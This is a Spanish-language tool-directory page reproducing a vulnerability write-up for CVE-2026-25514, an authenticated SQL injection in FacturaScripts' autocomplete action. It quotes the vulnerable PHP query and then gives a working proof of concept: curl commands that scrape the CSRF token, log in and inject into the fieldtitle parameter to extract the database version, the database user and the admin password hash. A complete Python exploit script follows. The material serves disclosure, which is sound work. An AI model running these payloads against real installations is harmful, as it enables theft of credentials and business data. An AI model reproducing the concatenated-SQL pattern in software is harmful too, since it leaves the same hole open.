Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-25514 — CVE-2026-25514 - FacturaScripts tiene una Inyección SQL en las Acciones de Autocompletado | Kitploit
Herramientas/GitHubGitHub/lukasz-rybak/cve-2026-25514
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónSeguridad de Bases de Datos
GitHublukasz-rybak/cve-2026-25514

CVE-2026-25514

CVE-2026-25514 - FacturaScripts tiene una Inyección SQL en las Acciones de Autocompletado

Ver Repositorio
10hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-25514: FacturaScripts tiene inyección SQL en las acciones de autocompletado

Descripción general

CampoDetalles
ID CVECVE-2026-25514
GravedadALTA
AvisoVer aviso
Descubierto porLukasz Rybak

Productos afectados

  • facturascripts/facturascripts (versiones: < 2025.81)

Clasificación CWE

  • CWE-20: Validación de entrada incorrecta
  • CWE-89: Neutralización incorrecta de elementos especiales utilizados en un comando SQL ('Inyección SQL')
  • CWE-943: Neutralización incorrecta de elementos especiales en la lógica de consulta de datos

Detalles

Resumen

FacturaScripts contiene una vulnerabilidad crítica de inyección SQL en la funcionalidad de autocompletado que permite a atacantes autenticados extraer datos sensibles de la base de datos, incluyendo credenciales de usuario, ajustes de configuración y todos los datos de negocio almacenados. La vulnerabilidad existe en el método CodeModel::all() donde los parámetros proporcionados por el usuario se concatenan directamente en consultas SQL sin saneamiento ni enlaces parametrizados.


Detalles

Múltiples controladores en FacturaScripts, incluyendo CopyModel, ListController y PanelController, implementan una acción de autocompletado que procesa la entrada del usuario a través de los métodos CodeModel::search() o CodeModel::all(). Estos métodos construyen consultas SQL concatenando directamente parámetros controlados por el usuario sin ninguna validación o escape.

Ubicación del código vulnerable

Archivo: /Core/Model/CodeModel.php Método: all() Líneas: 108-109

public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array
{
    // ......

    // VULNERABLE CODE:
    $sql = 'SELECT DISTINCT ' . $fieldCode . ' AS code, ' . $fieldDescription . ' AS description '
        . 'FROM ' . $tableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';
    foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {
        $result[] = new static($row);
    }

    return $result;
}

Parámetros vulnerables

Los siguientes parámetros son vulnerables a inyección SQL:

  1. source → Se asigna a $tableName - Inyección en el nombre de la tabla
  2. fieldcode → Se asigna a $fieldCode - Inyección en el nombre de la columna
  3. fieldtitle → Se asigna a $fieldDescription - Inyección en el nombre de la columna (Vector de ataque principal)

Flujo del ataque

  1. El atacante se autentica con credenciales válidas (cualquier rol de usuario)
  2. El atacante envía una solicitud POST a /CopyModel con action=autocomplete
  3. Se inyectan funciones/consultas SQL maliciosas a través del parámetro fieldtitle
  4. La aplicación ejecuta el SQL inyectado y devuelve los resultados en formato JSON
  5. El atacante extrae datos sensibles de la base de datos

Prueba de concepto (PoC)

Requisitos previos

  • Credenciales de autenticación válidas (admin/admin en la instancia de prueba)
  • Acceso a la interfaz web de FacturaScripts

Explotación manual paso a paso (CLI)

Dado que FacturaScripts utiliza MultiRequestProtection, se requiere un multireqtoken válido para cada solicitud POST.

1. Obtener el token inicial y la cookie de sesión: FacturaScripts redirige / a /login, por lo que usamos -L para seguir las redirecciones y -c para guardar la cookie de sesión.

TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+')
echo $TOKEN

2. Autenticarse (Iniciar sesión): Usa la cookie guardada y el token para iniciar sesión.

curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
  -d "fsNick=admin" \
  -d "fsPassword=admin" \
  -d "action=login" \
  -d "multireqtoken=$TOKEN"

3. Extraer la versión de la base de datos: Obtén un token nuevo para la siguiente solicitud y ejecuta la inyección.

# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')

# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
  -d "action=autocomplete" \
  -d "source=users" \
  -d "fieldcode=nick" \
  -d "fieldtitle=version()" \
  -d "term=admin" \
  -d "multireqtoken=$TOKEN"

4. Extraer el usuario y el nombre de la base de datos:

# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')

# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
  -d "action=autocomplete" \
  -d "source=users" \
  -d "fieldcode=nick" \
  -d "fieldtitle=concat(user(),' @ ',database())" \
  -d "term=admin" \
  -d "multireqtoken=$TOKEN"

5. Extraer el hash de la contraseña del administrador:

# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')

# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
  -d "action=autocomplete" \
  -d "source=users" \
  -d "fieldcode=nick" \
  -d "fieldtitle=password" \
  -d "term=admin" \
  -d "multireqtoken=$TOKEN"

Script de explotación automatizada

#!/usr/bin/env python3
"""
FacturaScripts SQL Injection Exploit - Autocomplete
Author: Łukasz Rybak
"""

import requests
import re
import json

# Configuration
BASE_URL = "http://localhost:8091"
USERNAME = "admin"
PASSWORD = "admin"

session = requests.Session()

def get_csrf_token(url):
    """Extract CSRF token from page"""
    response = session.get(url)
    match = re.search(r'name="multireqtoken" value="([^"]+)"', response.text)
    return match.group(1) if match else None

def login():
    """Authenticate to FacturaScripts"""
    print(f"[*] Logging in as {USERNAME}...")
    token = get_csrf_token(f"{BASE_URL}/login")
    if not token:
        print("[!] Failed to get CSRF token")
        exit()

    data = {
        "multireqtoken": token,
        "action": "login",
        "fsNick": USERNAME,
        "fsPassword": PASSWORD
    }
    response = session.post(f"{BASE_URL}/login", data=data)

    if "Dashboard" not in response.text:
        print("[!] Login failed!")
        exit()
    print("[+] Successfully logged in.")

def exploit_sqli(field_payload, term="admin", source="users", field_code="nick"):
    """Execute SQL injection through autocomplete"""
    data = {
        "action": "autocomplete",
        "source": source,
        "fieldcode": field_code,
        "fieldtitle": field_payload,
        "term": term
    }
    response = session.post(f"{BASE_URL}/CopyModel", data=data)
    try:
        return response.json()
    except:
        return None

def main():
    login()

    print("\n" + "="*60)
    print(" EXPLOITING SQL INJECTION IN AUTOCOMPLETE ")
    print("="*60 + "\n")

    # 1. Database version
    print("[*] Extracting database version...")
    res = exploit_sqli("version()")
    if res:
        print(f"[+] Database Version: {res[0]['value']}")

    # 2. Current user and database
    print("[*] Extracting DB user and database name...")
    res = exploit_sqli("concat(user(),' @ ',database())")
    if res:
        print(f"[+] DB User @ Database: {res[0]['value']}")

    # 3. Admin password hash
    print("[*] Extracting admin password hash...")
    res = exploit_sqli("password", term="admin")
    if res:
        print(f"[+] Admin Password Hash: {res[0]['value']}")
Descargar herramienta